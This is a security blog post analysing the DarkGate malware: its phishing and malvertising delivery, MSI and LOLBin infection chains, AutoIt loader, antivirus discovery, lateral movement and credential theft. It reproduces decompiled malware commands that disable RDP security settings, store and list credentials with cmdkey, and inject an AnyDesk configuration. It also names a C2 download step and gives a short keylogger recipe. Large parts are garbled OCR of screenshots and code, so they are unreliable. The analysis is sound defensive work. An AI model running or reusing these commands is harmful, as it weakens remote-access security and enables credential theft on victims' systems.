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As the threat landscape continually evolves, some positive developments, such as
authorities tracking down Maldevs, threat actors, and forum managers, and seizing control of
command-and-control servers while disrupting malware distribution networks, have become
more frequent. In this dynamic environment, the emergence of new players and the
adaptation of existing ones have become commonplace.
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DarkGate overview

The continually evolving environment often leads to the rebranding of threat actors and the
modification of malware families, as seen recently with the rise of DarkGate. Its proliferation
has surged following the takedown of the Qbot infrastructure, exemplifying the ever-shifting
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nature of cyber threats. According to Cofense, similarities were identified between DarkGate
and PikaBot phishing campaigns, reminiscent of Qakbot techniques. This suggests potential
unknown connections or adaptations of existing techniques, underscoring the complexity of
modern cyber threats.

DarkGate serves dual purposes as both a loader malware and a RAT, enabling it to execute
various malicious actions such as stealing sensitive data from victims and deploying
cryptocurrency miners. It is known to be created and maintained by a user who goes by the
alias RastaFarEye on multiple forums. Undergoing development since 2017, DarkGate has
evolved through various iterations while operating under a Malware-as-a-Service model.
DarkGate is primarily distributed through phishing, often using Browser Update Themes. It is
also spread via Malvertising and SEQO Poisoning, varying according to the threat actor's
preferred method of malware delivery.

One of the unique traits of DarkGate is that it uses Autolt, which is a scripting language
designed for automating the Windows GUI and general scripting tasks. It allows users to
create scripts that automate tasks such as keystrokes, mouse movements, and window
commands. It is particularly useful for tasks like software installation, system administration,
and automation.

Delivery methods

Let's delve into some of the DarkGate’s most common delivery techniques to shed light on
the prevalent methods they use for malware distribution.

Phishing

DarkGate aka MehCrypter is primarily distributed through phishing, employing specific
themes tailored for such deceptive practices. Threat actors strategically use phishing URLs,
redirecting users to a Traffic Distribution System (TDS) to download the malicious payload. In
October 2023, Proofpoint observed a phishing scheme where threat actors directed users to
the Ketaro TDS. Victims were then presented with an internet shortcut (.URL) file through
this process, and upon clicking, a zipped VBS script was downloaded.

An alternative tactic involves the exploitation of a fake browser update theme. If an end user
interacts with the counterfeit browser update button, a similar process ensues, leveraging a
TDS for the distribution of the malicious payload.

Again in October 2023, PaloAltoNetworks uncovered the distribution of DarkGate malware
through Microsoft Teams. In this scenario, adversaries masqueraded as the CEO of the
targeted organization, sending victims a Teams invitation as part of their deceptive tactics.
The trend for using Microsoft Teams for phishing lures has still been seen recently in January
2024 by AT&T.
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Malvertising

Malvertising, short for malicious advertising, is a technique used by adversaries to distribute
malware via online advertisements. These deceptive ads, appearing on legitimate websites,
exploit browser vulnerabilities, leading users to malicious sites or initiating malware
downloads upon interaction.

Threat actors have employed themes related to remote administration tools, specifically
leveraging_the guise of Advanced IP Scanner, a widely used tool among IT administrators.
When victims interact with the malicious ad, they are directed to a decoy site as part of the
deceptive tactics employed by the attackers.
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SEO poisoning

SEO poisoning, a technique manipulating search results to promote malicious content, aims
to boost rankings of websites posing as legitimate ones. In contrast, malvertising spreads
malware through infected online ads, tricking users into infecting their devices.
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According to Malwarebytes, threat actors used the Advanced IP Scanner theme for SEO
poisoning to distribute DarkGate malware. The tactic mirrored the malvertising campaign,
focusing on Advanced IP Scanner. Through SEO poisoning, attackers aim to manipulate
search results, redirecting users to malicious sites linked to DarkGate malware distribution.
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Advanced IP Scanner: A Reliable Network Scanner for ...

In conclusion, Advanced IP Scanner stands out as a dependable network scanner for analyzing
local networks. Its ability to effortlessly discover connected ...

Source - MalwareBytes

To summarize the payload delivery mechanism, any threat actor or hacktivist can acquire
DarkGate malware and employ diverse techniques for its distribution. However, based on the
aforementioned observations, we can infer that the attackers have specific targets in mind—
specifically, administrators. This is evident in their use of scanner themes for phishing
attempts, aiming to gain initial access.

DarkGate infection chain:

DarkGate can also be used as a loader malware, allowing its initial payload to manifest in
various file formats. Some of the known file formats include .msi, .1nk, and .vbs. Now, we'll
explore the malware's typical infection. Below is the high-level overview of the typical
DarkGate infection chain observed from multiple samples during the analysis period before
publishing this blog, which is likely to change in the upcoming days.

Chain

1. Initially, DarkGate delivers various forms of payloads for initial access, such as .msi,
.1nk, .vbs, .js, etc., to the victim.

To view some different initial access payloads click, .js, .vbs, .hta, .msi, and .Ink.

2. Once received, the victims execute the payloads using the default applications
associated with the relevant file types.

3. Following the execution of the initial access payload, DarkGate executes Living Off The
Land Binaries (LOLBins) to drop another stage of the payload.
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. The dropped payload may manifest as archive files, such as .cab, from which
additional stages of payloads are extracted.

These stages typically comprise external binaries along with their associated malicious
Dynamic Link Libraries (DLLs), facilitating DLL side loading. Usually these are dropped
under %AppData%\Temp\[random-folder-name]\files\ directory.

Alternatively, dropper payloads may be introduced from the third stage, wherein the
execution triggers the download of executables.

. Following DLL side loading, DarkGate drops Autoit3 Binary and Autoit scripts.
Alternatively, following the execution of the dropped executables, the executable re-
establishes connection with the Command and Control (C2) server to deliver the
Autoit3 binary and Autoit3 script.

. Subsequently, DarkGate invokes Autoit3.exe to execute malicious AUscripts,
containing instructions for extracting and deploying the loader.

. Upon the execution of the loader, DarkGate deploys it main module.
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Infection chain with MSI

We obtained a sample MSI (Microsoft Installer) file from MalwareBazaar to illustrate the
analysis described below:
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After the execution of the payload via msiexec, it proceeds to install the payload and displays
the installation process of iTunes to the user.

[d| Please wait while Windows configures iTunes - UNREGISTERED -
Wrapped using MS| Wrapper from www .exemsi.com

Gathering required information...

In the background, it is creating a temp folder and dropping an archive file as shown in the
below screenshot. After the folder creation, icacls.exe is used to set the integrity level of
the directory to high
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.cab aka Cabinet is a type of archive-file format for Microsoft Windows. The dropped

files.cab is then extracted using the expand.exe binary.
C:\Windows\system32\EXPAND.EXE -R files.cab -F:* files
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The iTunesHelper binary and its DLL are extracted from the archive. Subsequently,
iTunesHelper .exe, extracted from the archive, is executed. This action leads to the loading
of the malicious DLL, which in turn drops Autoit and the corresponding .au3 script file.

Disk Operations {3)

5N File Path

Image Loads (2)

5N File Signatuse Image Is Signed €

Following this sequence, the dropped Autolt script file is executed using Autolt3.

© Manasbiekos wnt B300 o CmeFleL C'terg ot D Sy Type: Syne TrpwCraate Section. Page Protection: PAGE_EXECUTE_'WRITECOFYT

de'w-ﬂ I.Eﬂ O Prooess T o demp'Aulol ) e D 37 Command ne: “c “emp ol Jese ™ ¢ ‘femp 'scint ale
Oinu.--n: ITH & Process St Farers FID 4308 Comwmandline "¢ ‘temp ' utsl ] sun” ¢ ‘Semp acpt a7, Cument dreciony. & 'temp’, Erverorment AGEMTH_IK
D fut st E-‘eﬁ < Theed Create Thread I 1882

The script includes instructions to gather system information, such as the Windows product
ID and processor details, as part of its discovery process.

1) Aink ) gmn Fir. ] [# H.qﬂu-j- HEL M SOFTIVARE  Mhcrosol Windews. N T umert Verson ' ProduciiD SUCCESS Tyoe: REG_5Z. Lengih: 42, Data: 003371-10000-00001-AA409
D Aot J e ITH [ P shoe (LMSOFTWARE Microsolt' Windovs NT'CusertVerson ' ProductiD SUCCESS Type: REG_SZ, Length: 43 I:‘-x.n 00331-10000-00001-AA405
D Aok} emn I I} rﬁ.-q':nn'f HELNHARDWARE DESCRIP TION' Systern LartalProcessor' [ ProcessorName Stang SUCCESS Tyoe: REG_52. Length: 34, Data: IndeliRl) Keon(R) Plstinus 8272CL CPU & 2 60GH:
D) Aok ) ene 2720 [ Regluesy  HELMHARDW AREDESCRIPTION  System' Central Processor [T Processoriame Sinng SUCCESS Type: REG_SZ, Lengih: 84 D-.ll inbeliR) Xeon(R) Platinum B272CL CPU @ 2 B0GHz

Subsequently, the backup of the Autoit3 binary and script files is created under the
C:\Programbata\[Random-name] directory. The backup is intended for establishing
persistence at a later stage.

éAutoitB.exe 8724 '» CreatefFile C:\PfogramDat;a\dafhcb
0 Autoit3.exe 8724 % n Create Fle C:\ProgramData‘\afafhcb

Following that, Autolt3 executes malicious scripts to perform the discovery of security
software instances on the system.
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. O Autoit3 exe 2720 wu CreateFile  C:\ProgramData'\Bitdefender

. ) Autoit3 exe 2720 %sCreateFile  C:\Program Files\Bitdefender

. ) Autoit3 exe 2720 ‘wu CreateFile  C:\ProgramData\AVAST

. O Autoit3 exe 2720 ‘wa CreateFile  C:\Program Files\AVAST Software
. O Autoit3 exe 2720 s CreateFile  C:\ProgramData\AVG

. O Autoit3.exe 2720 % CreateFile  C:\Program Files\AVG

. ) Autoit3 exe 2720 ‘wu CreateFile  C:\ProgramData\Kaspersky Lab

. O Autoit3.exe 2720 '+ CreateFle  C:\Program Files (x86)\Kaspersky Lab
. O Autoit3 exe 2720 wuCreateFile  C:\ProgramData\ESET

. O Autoit3 exe 2720 ws CreateFile  C:\Program Files (x86)\Avira

. ) Autoit3.exe 2720 % CreateFile  C:\Program Files (x86)\IObit

. O Autoit3 exe 2720 s CreateFle  C:\Program Files\Malwarebytes

. O Autoit.exe 2720 % CreateFile  C:\ProgramData\Emsisoft

. ) Autoit3 exe 2720 s CreateFile  C:\Program Files\Quick Heal

. ) Autoit3 exe 2720 '+ CreateFile  C:\Program Files (x86)\F-Secure

. O Autoit3.exe 2720 % CreateFile  C:\ProgramData\Sophos

. Autoit3 exe 2720 ‘= CreateFile C:\ProgramData\G DATA

-

While analyzing the Autoit Script, we were able to extract some instructions, and there the
script contains b11call function of Autolt3 which is displayed in the comment. The hex-

encoded value shown below is the actual instruction, with the comment section for reference.

We can see that Autolt's DIICall function is used to call the VirtualProtect function from the
kernel32.dll library to modify the memory protection attributes to facilitate code injection.
BElar (wor FILEEXISTS("C:%Fz T Fileas XEE B “1 ) THEN

LOCAL FYCHNDENED
EXECUTE {BIHARYTOSTRING (" lad4E 604 36 eCECIE20 €BE
fr DLIC&L1]l(“kernell2. 4dll™, “BOOL"

When security software isn't detected, modifications are made to the values of the

StartMenuExperienceHost registry key, located at:
HKLM\System\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-
1984999317-268798495-3946344884 -

500\Microsoft.Windows.StartMenuExperienceHost_cw5nlh2txyewy.

S Auied 1 ene FeglueryV.. HELM Syshem \CumersControl 5ol Services'bam' Siabe" Lser Settinga 5-1-5-21- 138455501725 Type: REG_BINARY, Lengin: 24, Dta 02 84 1C 3C 75 &2 D 01 00 0000 00 00100 00 00
© Auiod ) eme 23'.".: FegSeliolue HEKLM System CumeniConirol Sel ' Services ham' Siabe ' Liner Sefiings 5-1-5-21- 196455301 7-26._ Type: REG_BINARY . Lengih 2. Ditac 5001 OF £3 7F 62 DA 07 00 00100 20 0200 00 00
[=TFE R ITH mCmatefls C'Froges Fles k0E) Memdoll' Edgeliedate’. 1 1 181 29 Micmach Edgel bdalel om axp Deared Accani Flead Mistutes. Dagosbon: Open. Opbors Nor-Dmclory e, Mbuies 7/, Shawbods  Flaad Weie. Aloca
[~ LN Y 2TH wCremefie  C ' Prograe Fles B8] Mool Edgelpdaie’. 1 1 181 29 Micsach Edge Up-daieCiome gae Desred Accens Flead Data L Drecory, Flead sivbotes. Synchronos . Diacosiien Open. Opiors Ssouent Acoess. Synoly
Aol ] ene T irn CryMlintor " Progren Fles o061 Mool Edgeliodale. | 1 18] 29 Micmech Bdge | pdaieCome exe Creabon Time - 252028 101734 AM. LastAccemTime: 2102004 53020 PR Lani Wille Time  2°5/20248 10173 AN, Chang
[~EFE R 2720 s CredtaFleM T Frogiee R (D) Merdol Edgelpdae .| 1 121 79 MemaahEdge Lpd@telon du SyeTres S TieelmaleSecter, PagiPsstecion PAGE_EXELUTE WRITEDOPY
O Ao ] e ZTH tu Beadlie £ Program Fles 857 Momaoft’ EdgeUpdaie .1 1 181 HMicmeoh Edgeip-daieome exe (¥fset: {1 Lengih: 12 768, L0 Flags: Non-cached, Faging 10, Synchmnous Paging 110, Prarty: Homal
0 kot e ITI0 ResdFie  C \Frogan Fies 6 Moo Edgelipdaie’1 1 180 79 MomechEdgelpdaieCom ene  (ffaet 12 753, Lergth 12 758 110 Flagn Hon-cached Paging L0, Synchvoncus Pagng L0 Pty Nomml
[~ TAE R Y ITH i Aaadie CProgrs Rl MRl V1208229 i i Offsat 65536, Larggh: €5.536. 10 Raga: Men-2ashvid. Pagey LD, Syeabvensul Pagng 'O, Prslty: Nawal
[ LY T2 mfeadfie L Frogram Fies By Momect’ Edgelpdsie’. 1 1. 181 2 Momech Edge lipdaieCom exs Cfpet: 131,072 Length: 131072 10 Plags: Hon-cached. Pagng L0, Sychwnous Paging 110, Priosty: homal
1D ot} e T T aadFie C “Frogrem Fies 56 Mcroeoh Edgelipdate .1 3 183 79 Mcmech Edge lipdatel oo sun Cffet 763144 Langth 56ES. L0 Flage Non<ached Pagrg LD, Syrchvoncus Paging L0 Prodty Nowral
W StMerEpenencetion ee 6158 of Process G O "Program Fles (86D Messso’ Edgepdate 1 1181 29 Micsach Edge UpdateCiome exs FI0. 3680, Command . . 'Program Fies. (5T Maroust Edgs Upate 1 3 153 25 Marossh Eigs Updabel o s
'qw[dwmm il o Process Shast Farert Pilk §156. Command ine: "C Program Fies i Momeoit EdgeUipdsie’ 11 111 I Mcmech EdgeipdainCom eun”.
o Mrrnach Edcs Ll ore wre T -:Tr.-uc.—. Thvead ID: 25132
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Following the modification, the StartMenuExperienceHost initiates the
MicrosoftEdgeUpdateCore.exe process. Process injection is performed on the
MicrosoftEdgeUpdateCore.exe process.

Subsequently, from the injected process, another round of security software discovery is
carried out. Then, the previously created backup of Autolt3 and its script are set up for
persistence by placing them under the RUN registry. Additionally, the process establishes
connections to the command-and-control (C2) server.

DNS Requests {3)

Additionally, it removes traces of the initial files by deleting them using command prompt
commands.

5 MuiEsec: mon T2 'vu ReadFie Offset- 131,072 Length: 105.472. 1°0 Raga: Nen-cached. Paging 10, Synchrmnous Paging L0, Proaty: Nomal

15 MaiExec exe 2T2 PProcess Create  PID- 5628, Command ire: C:\Windows \system 1 2omd axe /¢ i /s /g “C.\Liners' sadmin' op Dista\Local Temp \MW- 141 250c 1-ach4-4 1h2-Sb 44 b 5l 4624501 e

[ = 5628 o Process Stan Parent PID: 2712, Command line: C\\Windows'system 17 omd exe /o rd /8 /g "C\Users sadmin ' App Data’\Local’ Temp \MW-1d4 1250c 1-achd -4 1b2-5b4d b Safc 4E 2458 1 lles™
[ 5628 O Thread Create  Theead ID: 5228

Infection chain with LOLBINs

Moving on to examine a slightly different method, we've got another .msi sample to look into.

RUNDLL32.EXE
Os

eoo
; MSIEXEC.EXE 5RUNDLL32.E>(E
—O —O
MSIEXEC.EXE L) e o
@
o GSMSIEXEC.EXE GRUNDLLEE.EXE PM32&240221_214000.E><E
O O o

Same as above, we executed the payload with msiexec. After the execution, we were able to
observe the following disk operations, where %APPDATA%\MSI14499 directory was created and
multiple files were written: Microsoft.Deployment.WindowsInstaller.dll, WixSharp.dll
and wixSharp.UI.dl1l.

Additionally, during the application installation process via msiexec.exe, DLL files
masquerading as . tmp were also dropped in the C:\windows\Installer folder.
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After that rundll32 was invoked to execute the malicious functions of those DLLs dropped
under c:\windows\Installer by calling relevant export functions, so that's why multiple
invocations of rund1132.exe are displayed in the below process tree.
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. L . rumdl 32 ame " CWInd owainstallaAMSIBBFZ. tep” 2xezinvokeManagedCustamActienDuiDProc SieCA_49463328 11 tihe_sxe.cslCuriomActions. DownlcaddncdExecute
M e e Sy WO a2 ann

c

Wi nws SyshOW L rund 132 axe rundli32 eme *CAWIndowshinstallerMEIBCAT imp” azzrievokeManagedCustomictionOurDiFroc Sha_19971234 17 WiSharp!WikSharp MaragedPropectctions CanceRequesttardler

\-_-. ol own Sy WO E und 32 axe mandll 12 g " CoWndowainstall e M SICB AL imp " roFevok ebansged CusomactonOutOiPros ShCA_A967390 17 WisSharplWixSharp MaragedPropecthrtan CantsRequastand e

One of the DLL files contains instructions to download the payload from the C2, so when the
DLL is executed via rund1132.exe it connects to C2, and downloads another executable.
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PROCESS DETAILS

Relsted informations.
Process ID 5488
Froces CVWindows\SysWOWESrundl| 32, 0ae
nd rundll32. eae “CWWindows'Installer\MSI21 38 imp° zzzzivrokeManaged Customiaction DutOffroc
SheCA_A0T1750 11 tho_exe calCustomictions. DovwnloadAndExecute ()
Usar sawdmin
Hast wingdaws 10
Intagrity Lawvel High
Fila RUNDLL3Z EXE
SHAT musmmm;udn?umsﬁmm?m
Wendor Mlicrasaft Corporation
Application Microsofi® Windows® Operating System
Pasecit Process CWindorms \SysWOWES mainx e, eos
Parert Command CVWindowssysworwtd\Msi Exec axe -Embedding 434Fa42C702431 ESIE1 9451 8C500E4D7 dh
Matwork Oparations (1)

Daibwratoan IP

162.240.8.41

pm 240231 _21 $000. ewe

DHE Requests (1)

COMpUlERPOM RN COm

Path

443

ChillsersissdmintAppDatailocal Temp

St Bogult

i 142 280.8.41;

The dropped executable pm320240221_214000.exe seems to be a loader based on the
activities it performs, which are mentioned in the following sections.

pm320240231 214000 exe
I3RS | ool -8 Sce-e0F -OO00O0OHO0}
2024/01./03 21:40:04

Related informations
Procasa ID SE95
Process CMUserssadmin‘AppDats'\Local\Temp'pm 320240221 _21 4000, exe
Comenans “CAlsershsadmintAppDataiLocal Temphpm320240221_214000.0us" )
User sadmin
Hoat wndows 10
Integrity Lavel High
SHA 1B17B06F 24F 3927 IS90EETBFSVSDOCESVBTFDOD B
Arabyrn VinasTotal Seorn B
Parent Process CAWindows'SysWOWA rundiil2 exe
Parant Command rundll32. sws "CAWindows\rstallar\MSI21 38 1mp " rrerisvolebManaged Custombction OutOdProc

ShCA_4071750 11 tiha_sxe csiCustomictions DownloadfndExscute 8

After the execution of the binary, it modifies the internet settings as displayed below.

Zorablag

B o 0M0Z X0 Tene 120 [ eglmaiefiey  HHLMUSOFTWARE Pobcies' Miornsolt Windaws | Terart esictions' Payioad

8 o BIIEIE 102297 eme L3 [N Reglmatebey  HECU arn Mecroaoh Windoen Curert Vermon intemet Semngn Jore!

W pe T2 100297 eee 1% I feqSelvaie  HEDLNSOFTWARE Meosssoli Windows Coment vemsor nieme Semngs ' Zone Mg Prooy Sypass
¥ ol HUHOZIE 100207 e L B RegSeliinhr  WHCLPSOF TWARE Micrach ' Windows ' Cument Versor Uniemet Sefingy’ Zonebag rirereiNams
¥ pr 0222 103237 e = 3 Ry SetVahow HHECLIS0F TWARE Mol Windows ' Cument Ve niemes Setings Zonebilap  UNClaintranet
¥ o M0NIENE_ 10020 T ewe 1206 [ RegSeiiae  HHCLMSOFTWARE Momsoh' Windows' Cunent Verson Uniemet. Setings Zonebap' Subo Dietect
WoonRA0I2E_ O Temy 133 [N FegSeliiae  HMCUNSOR TWARE Mersach Wiy Cument

W pe G322 103237 ene R 3 Ry 5ol Vahoe HHLLFS0F TWARE Mcsaoll ' Vindows' Cument Verson Uniemet Selings ' Joneblap irirane Mame:
¥ ol HHOZIE_ 02T eme 1296 [ PegSeliie  HHCLIMSOF TWARE Macmsolt ' Windows' Cameni Verson Unismel Sefings’ Zonebap NG Ssinranel
B a3 103237 s 1236 [N AagSelvae  HEDLPSOF TWARE Mesaal ' Wirdiewd \Darenl Vi Fiamel Seng’ Joneblag Subs Daed

W pen 10022103207 eme 1% o CresteFie Ly sandewr AppDiste Lo Temg IPHLP AP OLL

Then it attempts to connect to the C2 server to drop autoit3.exe and its malicious script file.

SLCCESS Desoed Access Cluery Value. Diaposiion: AED_OPENED_EXISTING_KET
SUCCERE Dewred Accem: Fesd Viste, Qmpostion AIEG_DFENED_EXISTING_KEY
SLCCESS Type: REG_DWORD, Lengih: 4, Oata 1
SUCCERS Typw: REG_DWORD. Length: 4. Datar 1
SUCCESS Tyes: AEG_DWOAD, Langgth: 4, Datar 1
SLCCESS Type: REG_DWORD. Lengih: . Dstar 0
SLCCESS Tyew: REG_DWORD, Laegth. 4, Datar 1
SUCCESS Tye: REG_OWOAD, Lengih: 4, Daia 1
SLCCESS Tye: REG_DWOAD. Length: 4. Dsta 1
SUCCESS Tyes: REG_DWOAD, Langth: 4, Datar 0

MAME HOT FOUND Dessed Access: Plesd Aiibubes. Disposiion: Open . Opbons: Open: Feparse Pori. Afisbut

However, due to the C2 server being down during the time of our analysis, we couldn't
observe the behavior.
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But below is the SS of the network connection observed in Virustotal where the binary was
connecting to C2 and downloading autoit3.exe binary and payload script file.

DarkGate capabilities

Let’s take a closer look at some of the configurations that we saw while performing analysis
on the main DarkGate malware. Features might or might not be executed based on the
adversaries' objectives.

Security software discovery

Before executing malicious functions, DarkGate and its loader perform initial security checks
where they attempt to discover if certain folders and processes exist or not. The major
security software and antivirus programs are mentioned below:

Bitdefender

Avast

AVG

Kaspersky EndPoint Security
Kaspersky

Eset - Nod32

Avira

Norton

Symantec

Trend Micro

McAfee

G DATA

SUPER AntiSpyware

Comodo

Malwarebytes

ByteFence

Spybot - Search & Destroy
360 Total Security

Total AV
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IObit Malware Fighter
Panda Security
Malwarebytes
Emsisoft

Quick Heal

F-Secure

Sophos

Lateral movement

Terminal setting modification

The sample we analyzed contains code to modify network configuration, setting the
TrustedHosts value for WS-Management to "127.0.0.2". Then it modifies terminal settings to
override default RDP settings and security configuration related to RDP.

FUN_004046ed ((int *)estackOxff££££fd40, (undefinedd *)&DAT 0044dacd, (undefinedd *)unaff EBX[4]):
FUN_004481lc("cmd.exe”,puVars, "C:\\WHindows\\System32\\ ", cVarl, iVarll);
FUN_0044811c("cmd.exe”™,
"/c -HoProfile -ExecutionPolicy Bypass -Command \"& [ Set-ItemPropercty -Fath \“\"HE
CO:\\Software\\Microsoft\\Terminal Server Client\"\" -Name \"\"RuthenticationLesvelQ
verride\"\" -Value 0 }\="
+ "C:\\Windows\\System32\\", '\x01",0);
FUN_0044dlac():
FUN_0044548c((uint *)"cmd.exe",
"/c reg add \"HEEY_ LOCAL MACHINE\\Software\\Policies\\Microsoft\\Windows NI\\Termin
al Services\" /v \"DisableRemoteDesktopAntiAlias\"™ /t REG_DWORD /d 1 && exit”
):
FUN_0044548c((uint *)"cmd.exe",
"/c reg add \"HEEY_ LOCAL MACHINE\\Software\\Policies\\Microsoft\\Windows NI\\Termin
al Services\™ /v \"DisableSecuritySettings\" /t REG_DWORD /d 1 && exit”
)2
FUN_0044cla0(*\0");
FUN_0044548c({uint *)"cmd.exe",
"/c reg add \"HEEY LOCAL MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Termin
al Services\" /v \"DisableRemoteDesktopAntiAlias\" St REG_DWORD /d 1 && exit”
| H
FUN_0044548c({uint *)"cmd.exe",
"/c reg add \"HEEY_LOCAL MACHINE\\Software\\Policies\\Microsoft\\Windows NI\\Termin
al Services\" /v \"DisableSecuritySettings\" /t REG_DWORD /d 1 && exit”
):
FUN_004481lc("cmd.exe",
"/c =HNoProfile -ExecutionPolicy Bypass -Command \"& [ Set-ItemProperty -Fath "\ "HE
CoU:\\Software\\Microsoft\\Terminal Server Client\"\" -Name \"\"RuthenticationLevelQ
verride\"\" -Value 0 }\""
OO Windows\\System32\\", "\x01",0}) ;
FUN_00404454(({int *)&local_8,%Yunaff_ EBX);

Creation and storage of remote credential
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As settings related to RDP have been modified, credentials for RDP have been created and
have been stored using cmdkey binary that could be used, for example, to provide automated
authentication when accessing a network resource or service that requires these credentials.

FUN_0043£954 { (undefinedd *)"Execute cmdkey™):

ré = (undefined *)0x0;:

= "\xi

FUN_004497d4((int *)&sctackOxffffffcc);

FUN_004481lc("cmd.exe”,
"/c cmdkey Sgeneric:\"127.0.0.2\" /user:\"SafeMode\"™ /pass:\"darkgatepasswordl\"",
puVarg,cVarl, (int)puVars);

FUN_0043£954 { (undefinedd *)"Configure local RDP");

Sleep{3000);
piVarS = (int *)FUN_00403668((int *)&PTR_LAB
(**(code **) (*piVarS + O0x38)) (piVars,”full ad

(** (code %) (*piVar5 + 0x38)) (piVars,

(**({code **)(*piVar> + 0x38)) (piVars, "au ") i
(** ({code *%) (*piVar5 + O0x38)) (piVars, i:07);
{**(code **) (*piVarS + 0x74)) (piVars,

FUN_00402&98 (piVars) ;

FUN_0043£954 ( (undefined4 *)“Execute test.rdp”):

Execution of Psexec

DarkgGate is configured to create a user profile, which it uses for lateral movement within
the compromised network. It employs Psexec to remotely execute processes, facilitating its
spread across networked systems.

XXX LRSS

call darkgate. 404638 |
cmp eax,d

ile darkgate. 437340

mov edx,dword pTr i[[ebp-4]

moW 2Sax, i i

call darkgare. 445218

push Te. 4374 43740 ( T xeC, exe =accepieula
push dword ptr tfenp-c]

push t 5 §

push dword ptr tlebp 1 ebp-18]:
lea eax,dword ptr t[febp-23] ebp-28] 1 "mink

W Bdx,

mow_ edx, 4

call darkgate. 404758
L dwird P : [&bp 1
Mo eax, T &

call darkgate. 44548

push T, 4

push dword pir tEebp-C]
b ara .

Credential access

DarkGate is equipped with the ability to extract credentials from the victim system. In our
analysis of the samples, we noted configurations tailored specifically to extract credentials
from popular browsers such as Edge, Firefox, Chrome, Brave, and Opera. Its primary focus
lies on files that store browser cookies.

Examples of targeted file paths include:

e Opera Software\Opera GX Stable\Network\Cookies

o Opera Software\Opera Stable\Cookies
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o BraveSoftware\Brave-Browser\User Data\Default\Network\Cookies
o Microsoft\Edge\User Data\Default\Network\Cookies

Additionally, besides its focus on targeting web browsers, we observed DarGgate containing
configurations to execute popular password extraction tools from Nirsoft. These tools include
MailPassView, capable of extracting credentials from various email clients, and
WebPassView, which can extract credentials from browsers such as Chrome, Firefox,
Opera, and Internet Explorer.

In addition to the aforementioned techniques, the malware also leverages cmdkey, a built-in
Windows binary, to enumerate and extract credentials from the compromised system. By
using this utility, the malware can list out and potentially extract various types of credentials
stored on the system, including those associated with network resources, remote servers, or
user accounts.

FUN_00404454((int *)&stackOxfffff£ff0,0x437£0c);

iVaré = 0;

pcVarg2 = (char *)0xl;

pcStackY 30 = (char *)0x437c95;

FUN_004046e4((int *)&stackOxffffffed, (undefined4 *)"/c cmdkey /list > ",unaff EBX);
pcStackY_30 = (char *)0x437cad;

The GetKeyboardstate API function, intended for legitimate keyboard input handling, can be
exploited to create a keylogger. By installing a global keyboard hook, an attacker can monitor
keystrokes system-wide. Periodically calling GetkeyboardState allows the detection of key
presses, which are then logged along with metadata. To evade detection, the keylogger may
employ encryption or other obfuscation techniques. However, it's important to note that
developing and deploying keyloggers without authorization is illegal and unethical.

Software for malicious ends

AnyDesk

DarkGate contains a configuration to download and run AnyDesk in the victim system, which
grants remote system management for threat actors.
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FUN_0043£954 ( (undefined4 *)"Starting Anydesk™);:
while( true ) {

local_30 = (undefined4 *)0x44caaé;
Sleep(5000);
pcvVar7 = (char *)0x0;
iVarZ = FUN_004481d0("c:\\temp\\anydesk.exe", (undefined *)0x0, (undefined *)0x0,
(undefined *)0x0,"\0"):
if (iVar2 != 0) break;
FUN_0043£954 ( (undefined4 *)"Anydesk unable to start, desktop not ready? Waiting 5 seconds”);

FUN_0043£954 ( (undefinedd *)"Anydesk started, reading config®):

Sleep(6000);

uVarl = FUN_00408800("C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf");
if ((char)uVarl == "\0") {

FUN_00447b28 ({uint *)"anydesk.exe”,'\x0l');
FUN_0043£954 ( (undefined4 *)
*C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf Not exists, maybe de
sktop still not ready, waiting 45 seconds more...”
|H
FUN_004481d0("c:\\temp\\anydesk.exe", (undefined *)0x0, (undefined *)0x0, (undefined *)0Ox0,'\0");
Sleep(35000):
FUN_00447b28 ( (uint *)"anydesk.exe",'\x01');
Sleep(5000);
pcVar7 = (char *)0x0;
FUN_004481d0 ("c:\\temp\\anydesk.exe", (undefined *)0x0, (undefined *)0x0, (undefined *)0x0,'\0");
Sleep(3000);
FUN_00447b28 ( (uint *)"anydesk.exe", '\x01'");
Sleep(2000);
uVarl = FUN_00408800 ("C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf") ;
if ((char)uVarl == "\0"} {
pcvar7 = (char *)0x0;
FUM_004481d0 ("c:\\temp\\anydesk.exe", (undefined *)0x0, (undefined *)0x0, (undefined *)0x0,"\0"
)i
FUN_0043£954 ({undefined4 *)“"Anydesk started, reading config”);
Sleep(S9000);
uVarl = FUN_00408800("C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf");
if ({char)uVarl == *"\0"} {
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FUN_00431954 ( (undefined4 *)"Anydesk Config loaded - Injecting DarkGate hAnydesk Config®):
FUN_00447b28 ( (uint *)"Anydesk.exe”,"\x01"');
FUN_0043£554 ( (undefined4 *)"Restarting AnyDesk");
local_30 = (undefined4 *)0x44cbe3:
Sleep(2000):
pivar3 = (int *)FUN_00403668((int *)&PTR_LAB 00416591+3_00415€10, "\x01",extraout ECX):
piVard = (inc *)FUN_00403668 ((int *)&PTR_LAB 004165%1+3_ 00415610, "\x01"',extraouc_ECK 00);
FUN_00445cf0 ("C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf", &local c);
(**{code *%) (*piVard + Ox2c)) (piVard, local c);
FUN_0041€e34 (piVard, 0x44d0&0, alocal 10);
uVaré = sxtraout_var;
if (local_l10 == Q) {
FUN_0043£954 ( (undefinedd *)"ad.anynet.id = \"\" waiting 20 second”);
local 30 = (undefined4 *)0Oxd4cc3f;
Sleap(20000);
FUN_00445cf0 ("C:\\Users\\SafeMode\\AppData\\Roaming\\AnyDesk\\system.conf",
{(int *)sstackOxffffffec);
{(**(code **) (*piVard + Ox2c)) (piVard,unaff EBX):
uVaré = excraout_var_ 007
}
local_ 30 = (undefinedd *)0xd44cc70;
FUN_004441d0( {undefined4 *)&DAT_0044d0a4,*(int *)PTR_DAT_0045€710,CONCAT22 (uVaré,0x5b4),
(byte *¥)gstackOxffffffed);
local_30 = (undefinedd *)0xd4ccTb;
FUN_0OQ4la3ed ({int)unaff EDI, (int *)&stackOxfiffffet);
local_30 = (undefinedd *)0xd4ccts;
(**{code *¥) (*piVar3 + 0x2c)) (piVar3,unaff ESI);
local_30 = (undefinedd *)Oxd4ccBc:
iVar2 = (**(code **) (*piVar3 + 0xl4))():
if ({iVar2 < 3) {
FUN_0043£954 ( (undefined4 *)"Invalid config hAnydeskGetInjectAbleConfig™):
